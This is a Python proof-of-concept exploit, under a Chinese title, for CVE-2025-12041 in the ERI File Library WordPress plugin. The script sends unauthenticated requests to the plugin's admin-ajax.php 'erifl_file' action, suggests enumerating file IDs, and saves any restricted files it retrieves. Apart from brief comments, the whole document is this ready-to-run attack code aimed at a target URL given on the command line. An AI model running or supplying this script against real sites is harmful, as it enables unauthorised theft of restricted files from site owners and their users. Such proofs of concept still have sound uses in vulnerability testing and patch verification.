CVE-2025-12041 WordPress ERI File Library未授权文件下载漏洞

#!/usr/bin/env python3 """ CVE-2025-12041 PoC - ERI File Library Unauthenticated File Download Reference: https://www.wordfence.com/threat-intel/vulnerabilities/id/16e1d37a-4eb7-45dc-8993-a501fb2aaf73 """ import requests import sys TARGET_URL = "http://target-wordpress-site.com" # File ID to download - enumerate or guess based on plugin behavior FILE_ID = 1 def exploit_unauthenticated_file_download(): """ Exploit the missing capability check on erifl_file AJAX action. Unauthenticated users can download files restricted to specific roles. """ endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Construct the malicious request data = { "action": "erifl_file", "file_id": FILE_ID # File identifier - can be enumerated } print(f"[*] Sending request to {endpoint}") print(f"[*] Target: {TARGET_URL}") print(f"[*] File ID: {FILE_ID}") try: # Send POST request without authentication response = requests.post(endpoint, data=data, timeout=30) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Headers: {dict(response.headers)}") # Check if file was returned if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'application' in content_type or 'text' in content_type or 'octet-stream' in content_type: print("[+] VULNERABLE! File download successful without authentication") print(f"[+] Content-Length: {response.headers.get('Content-Length', 'Unknown')}") # Save the downloaded content with open(f"downloaded_file_{FILE_ID}", "wb") as f: f.write(response.content) print(f"[+] File saved as: downloaded_file_{FILE_ID}") return True print("[-] File download may have failed or file not accessible") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def check_vulnerability(): """ Check if target is vulnerable by testing the AJAX endpoint. """ endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Test with invalid action first to confirm AJAX is working test_data = {"action": "erifl_file", "file_id": 999999} try: response = requests.post(endpoint, data=test_data, timeout=10) # If we get a response (not 403/404), the endpoint exists if response.status_code not in [403, 404]: print("[*] AJAX endpoint is accessible") print(f"[*] Response: {response.text[:200]}") return True except requests.exceptions.RequestException: pass return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print("=" * 60) print("CVE-2025-12041 PoC - ERI File Library IDOR Vulnerability") print("=" * 60) if check_vulnerability(): exploit_unauthenticated_file_download() else: print("[-] Target may not be vulnerable or not reachable")